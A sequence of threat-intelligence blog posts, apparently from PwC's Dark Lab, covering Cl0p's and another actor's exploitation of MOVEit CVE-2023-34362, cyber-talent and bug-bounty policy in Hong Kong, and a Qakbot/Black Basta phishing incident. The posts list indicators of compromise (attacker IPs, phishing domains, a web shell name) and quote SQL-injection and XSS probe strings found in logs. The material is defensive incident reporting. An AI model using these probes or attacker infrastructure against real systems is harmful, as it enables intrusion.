5565w[.]vipPotential Sands phishing site – not flagged malicious
5565g[.]vipPotential Sands phishing site – not flagged malicious
5565u[.]vipPotential Sands phishing site – not flagged malicious
5565e[.]vipPotential Sands phishing site – not flagged malicious
5565l[.]vipPotential Sands phishing site – not flagged malicious
5565d[.]vipPotential Sands phishing site – not flagged malicious
5565s[.]vipPotential Sands phishing site – not flagged malicious
5565j[.]vipPotential Sands phishing site – not flagged malicious
5565q[.]vipPotential Sands phishing site – not flagged malicious
5565x[.]vipPotential Sands phishing site – not flagged malicious
5565h[.]vipPotential Sands phishing site – not flagged malicious
5565o[.]vipPotential Sands phishing site – not flagged malicious
ws6.whmejj[.]comWhatsApp phishing site
dxweb.whasatcp[.]lifeWhatsApp phishing site
uaa.whxmcwd.topWhatsApp phishing site
103.71.152[.]102IP Address

Further information

Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

MOVEit Cl0p, You’re Not the Only One

Posted on by darklabhk

In Q3 2023, PwC’s Dark Lab responded to two incidents derived from exploitation of the zero-day vulnerability in Progress’ MOVEit File Transfer solution. Whilst exploitation of the zero-day is widely associated with Cl0p, deeper inspection of our second incident indicated another player was at hand.

PwC’s Dark Lab have been closely monitoring the mass exploitation of the MOVEit file transfer solution, responding to numerous incidents initiated via exploitation of the zero-day MOVEit Transfer and Cloud vulnerability, CVE-2023-34362. The mass exploitation has been widely associated with the Cl0p Ransomware-as-a-Service (RaaS) group, due to their discovery of the zero-day and large-scale, opportunistic campaign impacting over 260 as of 1 August 2023. However, per our incident experience, we observe other malicious actors opportunistically leverage publicly available Proof-of-Concepts (PoCs) to infiltrate vulnerable MOVEit victims.

We release this blog post concurrent to Cl0p’s ongoing campaign to highlight PwC Dark Lab’s key observations through our incident experience across two MOVEit-related incidents, the first attributed to a Cl0p RaaS, and the second highlighting the opportunistic exploitation by other, less sophisticated cybercriminal actors.

Case Study 1: Cl0p’s Mass Exploitation of the MOVEit Zero-Day

In the incident responded to by PwC’s Dark Lab, a Cl0p affiliate conducted a single extortion attack, exploiting CVE-2023-34362 and subsequently exfiltrate data directly from the MOVEit file transfer server over a 24-hour period of the initial infiltration. Based on our continuous monitoring of Cl0p’s campaign and their evolving techniques, we posit that the group’s next mass-exploitation campaign will remain significant in scale and speed, though will further enhance in sophistication as the group leverages the learnings from their ongoing campaign to improve operational efficiency by exploring means to better categorise compromised data.

The MOVEit File Transfer zero-day SQL injection vulnerability (CVE-2023-34362) has been actively exploited by the Cl0p Ransomware-as-a-Service (RaaS) group since at least 27 May 2023 to deploy the human2.aspx web shell and subsequently exfiltrate data from the compromised MOVEit server.[1]

Based on our incident experience in alignment with open source intelligence, we observed in alignment with open source intelligence (OSINT) that Cl0p’s MOVEit campaign to follow the following kill chain:

Figure 1: Cl0p’s Known Attack Path for the MOVEit Campaign

Initial Access

The malicious actor exploited CVE-2023-34362 to bypass authentication and successfully infiltrate the compromised MOVEit server. This is evident by the malicious actor’s activities to deploy and use a web shell to interact with the systems from the external network. Through analysis of the inbound IP addresses, we observed (5.252.189[.]0/24​ and 5.252.190[.]0/24) to have a known association with the Cl0p RaaS.[2]

Privilege Escalation

Post-infiltration, the affiliate was observed to leverage the web shell to access the stored data in the application database of MOVEit application, and eventually obtained a privileged administrator account.

Persistence and Execution

Consistent with open source reporting of the Cl0p MOVEit campaign, the Cl0p affiliate deployed the human2.aspx web shell on the compromised MOVEit system.

Collection and Exfiltration

Less than twenty minutes after the web shell deployment, the privileged admin account was leveraged to download data from the MOVEit server. Concurrently, a spike in outbound network traffic was detected at the perimeter firewall. Through data exfiltration analysis of the firewall logs, our incident responders ascertained the file size and nature of files (e.g. file name and extension), validating the spike to be indicative of the time of Cl0p’s data exfiltration to an external IP address.

Impact

Approximately two weeks after the data exfiltration, the victim was listed on Cl0p’s dedicated leak site “Cl0p^_LEAKS”, with compromised data leaked twelve (12) days after the victim was published. This contradicts Cl0p’s announcement post, as per Step 6, the group state “After 7 days all your data will start to be publication”. ​

Figure 2: Cl0p’s Announcement Post

Cl0p’s Victimology and Data Leakage Trends

Figure 3: Trendline of Cl0p’s Victim Listing on their Cl0p^_LEAKS Site

As of 1 August 2023, we observed:

  • 262 victims listed (15 removed, potentially indicative of the victim’s compliance with Cl0p’s demands)
  • Of the 262 victims, 94% had their data posted by Cl0p on their dedicated victim pages, with approximately 6% of those victims experiencing multiple leaks – up to six (6) parts
  • Cl0p repeatedly deviated from their self-assigned 7-day deadline – for example, on 11 July it was observed that three victims newly listed on 10 July had already experienced their data leaked. This is in contrast to the incident responded to by PwC’s Dark Lab whereby data leakage occurred twelve (12) days after the initial victim leaking, suggesting they likely encountered challenges with the large amount of data concurrently received in a short time frame, and hence may have experienced backlogs in sifting through and identifying meaningful compromises.
  • From 10 July, we observed Cl0p update their dedicated victim pages, adding a new section ‘Some secret information files’, inclusive of screenshots compromised files allegedly obtained via their exploitation of the MOVEit vulnerability. This indicates Cl0p’s adaptive nature, likely as an attempt to apply added pressure to victims to entice them to meet ransom demands.
Figure 4: New ‘Some secret information files’ Section Added to Victim’s Dedicated Leak Pages

Based on the victimology of Cl0p’s ongoing MOVEit campaign, we assess their targeting to be opportunistic in nature, as reflected in the distribution of victims across multiple sectors and geographies. However, we observe approximately 65% of total disclosed victims are based in the United States which is consistent with OSINT location distribution of MOVEit servers observed via passive scanning, the United States makes up approximately 72% of total Internet-facing MOVEit instances.

Whilst likely opportunistic, we also observe a potential alignment to trends that RaaS groups with Russian-links are electing to target Western-allied nations. Though RaaS groups and cybercriminals are opportunistic in nature, heightened targeting of Western-allied nations in 2023 suggest the impact of the war and allegiance potentially plays a role in their actions. As such, Cl0p may have intentionally shortlisted the MOVEit file transfer solution for their mass exploitation campaign based on the location distribution of MOVEit servers, observing the solution to be predominantly leveraged in Western-allied nations.

Figure 5: Cl0p’s Victim Distribution – Top 5 Countries

Further, it should be noted that this campaign is not the first instance of Cl0p targeting file transfer solutions. In February 2023, Cl0p was also responsible for the mass automated exploitation of a previous zero-day vulnerability within a third-party file transfer product, Fotra’s GoAnywhere Managed File Transfer (CVE-2023-0669).[3] Prior to this, the threat actor also claimed responsibility for another mass exploitation of another file transfer software in the form of multiple CVEs impacting Accellion File Transfer Application in 2020.[4] Given Cl0p’s historic targeting of file transfer software, and consistencies observed across campaigns, we posit that Cl0p will continue to opportunistically seek and exploit zero-day vulnerabilities in file transfer solutions, given their storage of sensitive information.

Furthermore, we observe via OSINT that multiple organisations were compromised by Cl0p despite not leveraging the MOVEit File Transfer solution in downstream attacks following the compromise of their third-party contractors’ MOVEit application.[5] This highlights the impact of third-party risks, as we observe via our incident experience and OSINT that threat actors are continuously seeking opportunities to expand their victim targeting to maximise efforts (e.g. infiltrating new victims via compromised valid vendor accounts).

Case Study 2: Not the Only Player Making Moves

As hypothesised in our Forecast of the Cyber Threat Landscape blog post[6], we observe via in this incident as well as our continuous monitoring of zero-days and actively exploited vulnerabilities, that threat actors are rapidly weaponising Proof-of-Concepts (PoC) and exploit codes upon their availability to compromise temporarily vulnerable systems.

Upon the release of a PoC for CVE-2023-34362, PwC’s Dark Lab hypothesised that the vulnerability would swiftly be exploited by other opportunistic threat actors, given the ease of exploitation and ability for an unauthorised remote attacker to gain unauthorised access to potentially sensitive information stored in the vulnerable MOVEit instances. This was observed in a second incident responded to by PwC’s Dark Lab, which displayed multiple inconsistencies with Cl0p’s typical attack path.

In this incident, the victim’s MOVEit servers were subject to vulnerability scanning by a suspected Cl0p affiliate, based on the use of IP addresses with known association with the Cl0p RaaS group. However, no further actions were observed to be conducted by the Cl0p affiliate following their exploitation attempts (e.g. no web shell deployment or data exfiltration).

Two weeks later, a separate malicious actor (46.3.199[.]72) was observed to perform brute-forcing and argument fuzzing to attempt exploitation against the victim’s MOVEit servers. Post-exploitation of CVE-2023-34362, the threat actor performed unauthorised account and folder creation, shortly followed by folder and account deletion, but was unable to deploy malware or proceed with their attack.

Based on our investigation of the available logs and comparison against Cl0p’s known known attack path per our first incident and also aligned with the OSINT described in the overview, we assessed with high confidence that the incident was performed by an unsophisticated financially-motivated cybercriminal actor executed the cyber-attack against the victim using a publicly available PoC.

To validate our hypothesis and remove potential biases, we leveraged the Richard Heuer’s Analysis of Competing Hypotheses (ACH) methodology.[7]

EvidenceDescription Related to IncidentCredibilityRelevanceEvidence TypeH1 – Cl0p affiliate that is financially motivatedH2 – A sophisticated threat actor motivated by political or social causeH3 – An unsophisticated financially-motivated cybercriminal actor
Use of MOVEit Transfer SQL Injection Vulnerability (CVE-2023-34362)We observed via review of the IIS logs that this vulnerability was leveraged to achieve initial access.HighHighSecondaryConsistentConsistentConsistent
MOVEit Transfer vulnerabilities are relatively easy to weaponize given publicly available Proof of Concepts (PoCs)We observed via OSINT the availability of multiple PoCs, indicative that threat actors are weaponizing the exploit. Whilst we did not attempt to validate the effectiveness of the PoCs, the fact there are POCs available on the open source suggests that threat actors of lowered capability can weaponize it.HighMediumDark Lab AssessmentConsistentConsistentConsistent
IP address 46.3.199[.]72 and its related IP addresses are related to Cl0p and affiliatesWe observed that the IP addressed utilized to achieve successful initial access was not attributed to Cl0p affiliates, based on various OSINT reports.MediumHighPrimaryInconsistentInconsistentConsistent
Capability to perform SQL injectionWe observed via review of the IIS logs that the threat actor had sought to perform SQL injection.MediumMediumPrimaryConsistentConsistentConsistent
Use of automated tools within Burp Suite (e.g., Repeater) that indicates brute forcing, fuzzing and crawlingWe observed from reviewing the IIS logs that the threat actor had likely leveraged Burp Suite to perform standard SQL injections. This is based on the review of production server’s IIS logs in which we observed the User-Agent content to be similar to Burp Suite’s Repeater feature.[8]   Meanwhile, review of the testing database logs revealed that the threat actor performed around 800 actions within a short timeframe of 40 minutes, with some just 0 or 1 seconds apart, with parameters such as “onmouseover=“ and “print(md5(31337))” being observed. These are commonly observed attacks for SQL injection and/or cross site scripting[9] being performed using Burp Suite.[10]   The performance of multiple actions in an accelerated manner with parameter contents that are generic in nature provided us with evidence that there was automated tools such as Burp Suite and potentially open source scripts[11] leveraged to perform these malicious activities.MediumMediumDark Lab AssessmentNot ApplicableInconsistentConsistent
No evidence of lateral movement that is consistent with Cl0p’s MOVEit campaignWe have not observed from the generic attack path by Cl0p RaaS affiliates that there would be lateral movement in victims’ environments.HighHighPrimaryConsistentInconsistentInconsistent
No evidence of data exfiltrationWe have not observed any data exfiltration based on our DFIR investigations and continued review of the Cl0p leak site.HighHighDark Lab AssessmentInconsistentInconsistentConsistent
Victim was listed on Cl0p’s leak site as of the time of investigationThrough our continuous monitoring of the Cl0p leak site, we observed that victims continue to be listed up to two (2) months after the original SQL Injection vulnerability (CVE-2023-34362) was disclosed.   Given the lengthy time from exploitation to date, combined with the lack of data exfiltration during our investigation, we conclude that this behaviour is largely inconsistent with a Cl0p affiliate.HighHighSecondaryInconsistentNot ApplicableNot Applicable

Conclusion

Cl0p’s mass exploitation of the MOVEit zero-day represents the continuous evolution of the cyber threat landscape and the increasing sophistication of financially-motivated cybercriminals. Per our 2023 Forecast of the Cyber Threat Landscape blog post[12], cybercriminals are weaponising exploits at an increasingly fast rate and scale to bypass heightened controls. This is reflected in the sheer volume of zero-days exploited in 2023 thus far, with 54 zero-day vulnerabilities discovered between 1 January 2023 and 1 August 2023 alone, compared to 52 zero-days discovered during 2022.[13] However, whilst exploits are happening faster – as predicted – and threat actors persist with single extortion attacks for speed, we observe through Cl0p’s campaign that they are largely relying on manpower to sift through troves of data at the time of writing, which may cause operational backlog. We posit that Cl0p will improve this aspect in future exploitation, possibly through data classification or generative artificial intelligence (AI).

Further, we posit that Cl0p will continue to target Internet-facing web applications with mass file transfer capabilities, following two widely-reported incidents regarding GoAnywhere MFT and MOVEit File Transfer systems.As a result, it is critical that organisations proactively identify their Internet-facing web applications with such features and apply the necessary hardening measures to limit the impact of potential incidents.

As organisations increasingly harden their security posture, malicious actors are ramping their speed of exploitation to capitalise on their momentary vulnerability susceptibility until a patch is deployed. This places increasing pressure on organisations to enforce stringent preventive and detective controls to provide a layered defense to counter exploitation attempts by malicious actors and minimise the threat of supply chain risks.

Recommendations

Preventive

  • Organisations should identify Internet-facing web applications with such features and perform the necessary hardening (e.g., MFA, privilege rights management, file encryption, remediation against findings from OWASP Top 10 testing) to limit the impact of potential incidents.
  • Harden Internet-facing web applications with file transfer capabilities – including tightening access controls, file encryption, and remediations against findings from the OWASP Top 10 Web Application Security Risks.[14]
  • Enhance access controls to file transfer solutions such as MOVEit to restrict unauthorised users from obtaining access to critical information. This may include,
    • Enabling multi-factor authentication (MFA) for file transfer solutions.
    • Reducing the exposure of file transfer solutions (e.g. disable HTTP/S connections, or restricting access to only necessary endpoints).
    • Reviewing and enhancing privileged access permissions to restrict and limit users accessing the systems (e.g. geofencing to restrict administrative access from only authorised geolocations).
    • Tightening outbound traffic rules to restrict cross-country network traffic and unsolicited destinations, to further minimise the risk of unauthorised data exfiltration.
    • Applying heightened access controls and segment critical infrastructure from the internal network.
  • Ensure your patch management program includes procedures to escalate patching of critical vulnerabilities or appropriate temporary measures to mitigate your susceptibility to exploitation until the official patch can be applied.
  • Regularly review perimeter network firewall rules and application controls to reduce service exposure to the Internet.
  • Periodically perform simulation testing (e.g. red team or purple team exercise) to identify potential enhancement areas to further harden your organisation’s cybersecurity posture and reduce your attack surface exposure.

Detective

  • Leverage an Endpoint Detection & Response (EDR) solution capable of detecting advanced techniques at a host-based status, as well as ingestion of other threat intelligence signatures.
  • Ensure detection signatures for firewall and anti-virus solution(s) are maintained up-to-date, with ingestion of other threat intelligence signatures.
  • Consider implementation of a File Integrity Monitoring (FIM) solution on backend servers (e.g. IIS) to monitor for anomalous file modification activity (e.g. file creation, modification, or deletion).
  • Conduct a search of historical logs to detect for any potential presence in your network environment, ensuring that an alert system is established should any indicators be identified. If any indicators are discovered, it is advised that a digital forensic investigation is conducted to identify the potentially foregone impact, including the compromised information and systems, and apply the appropriate containment and remediation measures.

MITRE ATT&CK TTPs Leveraged

We include the observed MITRE ATT&CK tactics and techniques from the two incidents:

Case Study 1: Cl0p RaaS Affiliate

  • T1595 – Active Scanning
  • T1190 – Exploit Public-Facing Application
  • T1136 – Create Account
  • T1505.003 – Server Software Component: Web Shell
  • T1068 – Exploitation for Privilege Escalation
  • T1078 – Valid Accounts
  • T1567 – Exfiltration Over Web Service

Case Study 2: Unsophisticated, Financially-Motivated Cybercriminal

  • T1595 – Active Scanning
  • T1190 – Exploit Public-Facing Application
  • T1136 – Create Account
  • T1565 – Data Manipulation

Indicators of Compromise (IoCs)

Case Study 1: Cl0p RaaS Affiliate

IoCType
5.252.189.106Cl0p IP address used for exploitation files
5.252.189.170Cl0p IP address used for exploitation files
5.252.190.40Cl0p IP address used for exploitation files
5.252.189.98Cl0p IP address used for exploitation files
5.252.190.111Cl0p IP address used for exploitation files
5.252.190.159Cl0p IP address used for exploitation files
5.252.190.65Cl0p IP address used for exploitation files
5.252.190.132Cl0p IP address used for exploitation files
5.252.190.33Cl0p IP address used for exploitation files
5.252.189.192Cl0p IP address used for exploitation files
5.252.191.19Cl0p IP address used for exploitation files
5.252.190.201Cl0p IP address used for exploitation files
5.252.189.120Cl0p IP address used for exploitation files
5.252.189.137Cl0p IP address used for exploitation files
185.162.128.109IP address used for download files
Human2.aspxWeb shell

Case Study 2: Unsophisticated, Financially-Motivated Cybercriminal

IoCType
5.252.189[.]75Cl0p IOC IP address
5.252.190[.]54Cl0p IOC IP address
5.252.190[.]71Cl0p IOC IP address
5.252.191[.]52Cl0p IOC IP address
5.252.191[.]68Cl0p IOC IP address
46.3.199[.]72Threat actor IP address
wrbeirqxAccount created on MOVEit testing and production database
xfs.bxss.meAccount created on MOVEit testing database
print(md5(31337))Command potentially indicating attempted SQL injections or cross site scripting using Burp Suite

Further information

Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

Cyber Literacy in Hong Kong – a Public Good to Bridge the Talent Gap and Develop a Secure Digital Society

Posted on by darklabhk

As the global cyber threat landscape continues to evolve, defenders will continue to play catch-up by finding ways to prevent, detect, respond and recover from cyber-attacks. However, we need to further democratize security and get citizens of all technical backgrounds more involved in order to fight back against latest threats that target both organizations and individuals alike.

The digital age has given rise to an urgent demand for cybersecurity professionals worldwide. However, this demand has surpassed the available workforce, resulting in a significant talent gap. The (ISC)² Cybersecurity Workforce Study 2022 reveals that despite a workforce of 4.7 million professionals, there are 3.4 million unfilled cybersecurity positions globally. [1] In the Asia Pacific region, where digital transformation is in full swing, the talent gap remains a concern. Nonetheless, there have been positive developments, with a 15.6% growth rate in the cybersecurity workforce. Singapore and South Korea stand out for their efforts in closing the talent gap within their countries. 

In this article, we will explore diverse cybersecurity career paths, examine the factors contributing to the closure of the talent gap in certain regions, and discuss steps Hong Kong can take to address this pressing issue. Understanding the global cybersecurity talent landscape is vital for building a stronger and more secure digital future. 

Understanding the Various Cybersecurity Roles and Responsibilities

In cybersecurity, roles are categorized using the InfoSec color wheel, which highlights the roles and responsibilities of different teams. [2] The primary roles include the Red Team (offensive security), Blue Team (defensive security, remediation and orchestration), and Yellow Team (combining security and development expertise). Collaboration between these teams leads to secondary roles: Purple Team (maximizing Red Team’s results and enhancing Blue Team capabilities), Green Team (improving code-based defense via DevSecOps), and Orange Team (increasing security awareness in software development).

To understand the tasks, competencies, skills, and knowledge associated with these roles, we can refer to frameworks such as the National Initiative for Cybersecurity Education (NICE) Framework [3] or the European Cybersecurity Skills Framework (ECSF). [4] The NICE Framework provides comprehensive insights into cybersecurity roles, including roles like Red Team Operator, Blue Team Analyst, Secure Software Assessor, and Compliance Manager. Meanwhile, the ECSF outlines competencies and knowledge domains, and encompasses roles such as Cybersecurity Engineer, Incident Responder, and Risk Manager. These frameworks serve as valuable references for individuals seeking to understand the specific responsibilities and requirements of various cybersecurity roles.

By embracing the diverse range of cybersecurity roles and promoting collaboration among them, organizations can establish a strong cybersecurity posture. This collaborative approach ensures effective defense against evolving cyber threats and enables a comprehensive security strategy.

Hong Kong’s Progress and Areas for Improvement

In recent years, Hong Kong has made notable advancements in its cybersecurity landscape. The introduction of Hong Kong Monetary Authority’s Cyber Resilience Assessment Framework (C-RAF) [5] and the Professional Development Programme (PDP) [6] has expanded the roles of red and blue teams alongside traditional compliance functions. Additionally, the adoption of public cloud technologies has driven growth in design/architect and develop/build roles, which has helped to boost the capacity and capabilities of the yellow team.

However, Hong Kong still faces challenges, particularly in building a sufficient talent pool for red and blue team roles. While Singapore boasts over 2,000 qualified candidates with credentials like CREST Registered Penetration Tester (CRT) and Offensive Security Certified Professionals (OSCP), Hong Kong has fewer than 300 qualified professionals, indicating a significant talent gap. Singapore stands out for its proactive approach to talent development. While individual licensing is not mandatory, companies offering licensable cybersecurity services must seek accreditation. [7] Furthermore, the Monetary Authority of Singapore has invested SGD 400 million in the Financial Sector Development Fund to enhance digital workforce competencies, including cybersecurity expertise. [8]

To strengthen Hong Kong’s cybersecurity workforce, it is crucial to invest in specialized training programs, foster collaborations between academia and industry, and promote recognized certifications and qualifications. Emulating Singapore’s commitment to talent development can help Hong Kong address the evolving cyber threats effectively.

How to Address the Talent Gap?

To tackle the potential problems surrounding the lack of cybersecurity talent in Hong Kong, it is crucial to ensure that the investments made are targeted and effectively utilized. While Hong Kong’s investment in cybersecurity is comparable [9], if not higher, than other regions, it is essential to focus on areas that require more talent, particularly in the primary colors of red and blue teams, rather than the traditional “white” team roles.

The talent gap in red team roles is already significant, with Singapore experiencing a tenfold gap compared to Hong Kong. To stay competitive, it is vital to nurture these talents at an early stage, even as early as secondary or tertiary education. This can only happen if the Hong Kong government recognizes the value of “ethical hacking” as a form of innovative problem-solving and includes it in educational curricula. However, it is concerning that the 2023-24 Budget page does not even mention cybersecurity, and that feels like a “missed opportunity” that should be addressed in future budgets. [10]

While demand generation efforts such as local bug bounty programs like Cyberbay [11] are valuable, they can only be fully effective with a steady supply of skilled and qualified professionals. It is crucial for the government to prioritize cybersecurity in its policies and allocate resources for the development of cybersecurity talent. By recognizing the importance of cultivating cybersecurity skills and incorporating them into educational initiatives, Hong Kong can build a robust talent pool and foster an ecosystem that supports the growth of the cybersecurity industry. This will help Hong Kong keep pace with market demands and maintain its position as a leading cybersecurity hub.

Conclusion

To support the ecosystem, we need an uplift of all talents, but in particular the red and blue teams. Those talents are severely lacking in Hong Kong as words like “hacking” are frowned upon by parents as well as the private and public sector. While demand generation such as bug bounty programs and supply programs such as Cyber Academies can help, this would not change until we either enforce the need to have such talent through law or regulation, or to have education programs that have sufficiently low barrier to entry, at least from a cost perspective, given our assessment that cybersecurity knowledge is actually a common good.

Further information

Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

Bug Bounty Programs – a Public Good that is a Necessity for Corporates, SMEs, and Individuals Alike

Posted on by darklabhk

As the cyber threat landscape continues to evolve and threat actors increasingly target vulnerable external-facing assets, bug bounties present organizations with an opportunity to proactively identify and remediate vulnerabilities before they can be exploited by attackers.

In today’s digital age, cyber threats have become increasingly prevalent, and enterprises are struggling to keep up with the pace of these threats. This is evident in the number of disclosed vulnerabilities and identified zero-days. For example, the number of vulnerabilities increased from 20,171 in 2021 to 25,227 in 2022, which represented a growth rate of 25 percent [1]; meanwhile, there were 80 zero-days exploited in the wild in 2021, which is more than double the previous record volume in 2019. [2] These statistics indicate that the traditional methods of cybersecurity are no longer sufficient to protect businesses from evolving cyber-attacks.

As a result, bug bounty programs have become increasingly popular as a way for organizations to identify and remediate vulnerabilities in their systems. These programs offer organizations the opportunity to leverage the skills of the global cybersecurity community to identify vulnerabilities in their systems and applications. PwC’s Dark Lab explores the benefits of bug bounty programs, along with the potential roadblocks that hinders its wide-scale implementation, and proposes potential solutions that reduces the barriers to entry such that enterprises can leverage it is a viable business risk management strategy to tackle the dynamic cyber risk landscape.

Bug Bounty Programs – An Overview

A bug bounty programme allows organizations to define and scope a program where security researchers are allowed to try to identify security vulnerabilities – often within a subset of the organisation’s technical infrastructure – in exchange for financial or non-financial ‘bounties’ for successfully validated vulnerabilities. Bug bounty programs were introduced by NetScape in 1995, though have evolved significantly since then. [3] Today, there are multiple bug bounty platforms and services available that provide organizations with a streamlined way to engage with the cybersecurity community, including HackerOne, BugCrowd, and YesWeHack. One notable example of a successful bug bounty program is the Microsoft Bug Bounty Program, in which US$13.7 million to more than 330 security researchers across 46 countries in 2021. [4]  

Governments have also recognized the importance of bug bounty programs in strengthening their nation’s cybersecurity posture. For example, review of 2018 Cybersecurity Act Paragraph 5 suggests that service providers providing traditional cybersecurity assessment services (e.g., vulnerability scan or penetration test) must first obtain a license [5], whereas companies providing bug bounty platforms and/or services are exempted [6], implies that the Ministry of Communications and Information (MCI) and the Cyber Security Agency of Singapore (CSA) regards bug bounty programs in higher esteem – more of a public good as it underscores a greater value brought to society. 

Issues Faced by Bug Bounty Programs

Despite the growth of bug bounty programs, there are still market barriers that prevent the public good from being consumed. One major issue is the pricing of the vulnerability, given vendors determine the value of a bug. The lack of a “free market” in which security researchers are not properly incentivized leads to a “tragedy of the commons” situation, in which they seek for a greater economic reward of their proof-of-concepts in alternate markets, such as the dark web or to established threat actors. The pricing misalignment is compounded by the lack of legal protection and standardized guidance for security researchers to identify and disclose vulnerabilities, which further makes it less likely for them to obtain a payout due to the plethora of grey areas which may inadvertently lead to potential punishment. [7] This is also not helped by poor communication in certain cases, where there is a lack of criteria or requirements on the compensating schemes, restrictions and limitations, and handling of duplicated reports. [8]

Meanwhile, not all hackers are not motivated by money. For example, espionage threat actors are looking for information, and hence no amount of financial incentive would lead to them disclosing and/or monetizing their zero days. [9] And in general, most researchers are motivated by more than one or a combination of factors and motivations, such as prestige or to advance their career, for the challenge or to have fun, or for other ethical or ideological reasons, so it is not feasible to focus solely on financial incentives. [10] Meanwhile, bug bounty programs were also meant to address the lack of a large number of skilled and qualified security researchers who know how to “hack to earn” by crowdsourcing vulnerability identification; this continues to be an issue despite bug bounty programs being in place for over 25 years. [11]

How to Address those Issues?

There are several ways to fix the potential problems surrounding bug bounty programs. One solution is to have an independent platform that connects security researchers with organizations, similar to Uber. This platform would allow for rewards to be based on an amount that can be auctioned at the right price, with the oversight of the technology owner. This platform should connect the right level of talent with the right buyer, such that they can align on their incentives. 

Another solution is to enhance legal frameworks, similar to what Singapore has done, to recognize the importance of bug bounty programs and to have certified or accredited personnel to perform this task. The legal framework should mandate companies to implement and operationalize a vulnerability disclosure policy (VDP) to provide straightforward guidelines for the cybersecurity research community and members of the general public on conducting good faith vulnerability discovery activities directed at public facing and/or internal applications and services. This VDP also instructs researchers on how to submit discovered vulnerabilities, impacted security vendor(s) (if applicable), and other relevant parties (where applicable) ethically and in a safe manner, with clear guidelines on how to disclose such vulnerabilities. 

Finally, there needs to be an investment in talent development to ensure that there is a sufficient number of skilled and qualified security researchers who know how to “hack to earn” by finding vulnerabilities in the first place. Ideally, the legal framework should also mandate the need for security researchers to attain certifications and accreditations with practical elements. That would have a positive downstream impact on investment in cybersecurity education and training, thereby establishing a healthy pipeline of skilled cybersecurity professionals who can join bug bounty programs. 

Conclusion

Despite the challenges, bug bounty programs offer significant benefits to organizations looking to strengthen their cybersecurity posture. By reducing the barriers to entry, bug bounty programs can be used as an effective business risk management strategy. In addition, the success of bug bounty programs may lead to the potential rise and fall of other connected markets. This includes the potential drop-off of cyber insurance as security researchers would look to profit in legal markets rather than parallel markets like the dark web, or the reduction in traditional vulnerability assessment and penetration testing services as bug bounty programs are continuously run. Meanwhile, new service offerings such as talent development may arise to ensure there is a greater demand of security researchers to meet the increased desire to identify and “supply” vulnerabilities. We expect the adoption of bug bounties in Hong Kong and globally to pick up in the next five years, as it is a cost-effective way to improve cybersecurity through crowdsourcing to qualified security researchers with diverse backgrounds and varying degrees of experience. 

Further information

Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

Secure Your Holidays: The Case of Qakbot and Black Basta

Posted on by darklabhk

On the eve of Christmas, a suspected Black Basta affiliate conducted a ‘quick and dirty’ attack on a global client, lending insight into the opportunistic targeting of victims during holiday downtime periods.

The Significance of Dates

The holidays are a time for rest and rejuvenation for most. But for attackers, the holidays present a timely opportunity to exploit weakened security postures for a higher likelihood of successful intrusion. Attackers have been consistently observed to exploit the predictable patterns of organisations’ limited cyber preparedness during holiday seasons, largely driven by the shortage of personnel and lack appropriate response preparation measures, to achieve a ‘quick and dirty’ infiltration. Beyond opportunistic exploitation of weakened defences during the holidays, attackers are observed to conduct targeted attacks on dates of significance (e.g., political, religious, historical, legal dates of importance) as a means of taking a stance on a divisive topic or sending a clear message. In certain incidents, the date of intrusion attempts can provide a valuable indicator into the motivations and intentions of the threat actor behind the attack.

PwC’s Dark Lab have continuously observed the trend of increased incidents surrounding major holidays and dates of significance (e.g., Christmas, Chinese New Year, etc.), including our recent incident featuring the Qakbot banking trojan and attributed to the Black Basta ransomware-as-a-service (RaaS) group.

Initial Access: Conversation Hijacked

The incident was initiated by a phishing email disguised as a customer request to deliver the Qakbot banking trojan malware. Notably, the threat actor leveraged an old email thread dating back to January 2020 to the victim’s shared mailbox, as a means of leveraging an existing conversation with established trust to exhibit legitimacy.

We purposely do not disclose the email in this blog as the original mail sender is legitimate and was likely compromised. It was discovered via open source intelligence (OSINT) that the legitimate sender emails leveraged by the affiliate were potentially harvested during the 2021 ProxyLogon-related compromises that targeted vulnerable Microsoft Exchange Servers to perform thread hijacking, whereby attackers harvest legitimate emails to launch targeted phishing campaigns against previously uncompromised organisations. [1] The following key indicators were observed, validating our hypothesis that thread hijacking was conducted;

(1) Phishing emails were likely sent from a spoofed sender address, as evidenced by the SoftFail Sender Policy Framework (SPF) record indicating that the IP address may or may not be authorised to send from the domains. An SPF record facilitates spoofed email prevention and anti-spam control and acts as a filter to assess the authenticity of an email. A SPF soft fail occurs when an unauthorised sender email is received and quarantined in the victim’s spam folder, flagging the email as potentially suspicious. [2]
(2) The spear phishing link directed to the domain osiwa[.]org, which has been flagged by the community twice in 2023 to be malicious and associated with Qakbot. [3] As at the time of the incident, the phishing link displayed a HTTP status code 404, though we observed osiwa[.]org was scanned up to eight times between 1 December 2022 and 2 March 2023, potentially indicating that a number of other organisations had received a similar malicious link directing them to download the Qakbot malware.
(3) The affiliate performed partial scrubbing of the email header information during construction of their malicious email to remove content that does not align with their malicious content.
(4) Prior to the malicious email in Q4 2022, the last email in the thread was observed from 2020, indicating that the email was likely harvested as a result of the 2021 ProxyLogon mass exploitation for the purpose of thread hijacking.

Our analysis into the known-bad IP addresses reveal that six (6) of them – 24.69.84[.]237, 50.67.17[.]92, 70.51.136[.]204, 149.74.159[.]67, 38.166.221[.]92, and 173.76.49[.]61 – have been flagged by the community as associated with Qakbot campaigns in the past.

In addition, a seventh IP address observed in the incident – 108.62.118[.]131 – has been reported to direct to a Cobalt Strike C2 Server. This IP has further been flagged on social media in multiple occasions to resolve to various malicious URLs registered via Namecheap. [4],[5] This, along with the fact that the ASN 30633 was LEASEWEB, are suspicious indicators suggesting it was a throwaway infrastructure potentially being deployed for malicious use.

Upon clicking on the phishing link, the malicious ZIP file was downloaded, and the victim unsuspectingly opened the file, initiating the execution phase. Post-infiltration, the victim’s endpoint detection alerted a potentially suspicious connection associated with FIN7’s (also known as Carbanak) C2 infrastructure. This observation enabled PwC’s Dark Lab analysts to discover that custom toolkits exclusively utilized by the Black Basta ransomware group have overlapping technical characteristics with FIN7, with further evidence to suggest that the custom tools leveraged by Black Basta may have potentially been developed by FIN7’s malware developers. [6] Further, given that Black Basta is widely recognized to leverage Qakbot for initial access in their campaigns, we posit with high confidence that the attack was conducted by a Black Basta affiliate.

Figure: Screenshot of our VirusTotal pivoting that attributed six IP addresses that were observed in your environment to be associated with Qakbot banking trojan.

Ransomware-as-a-Service Group Behind the Attack: Black Basta

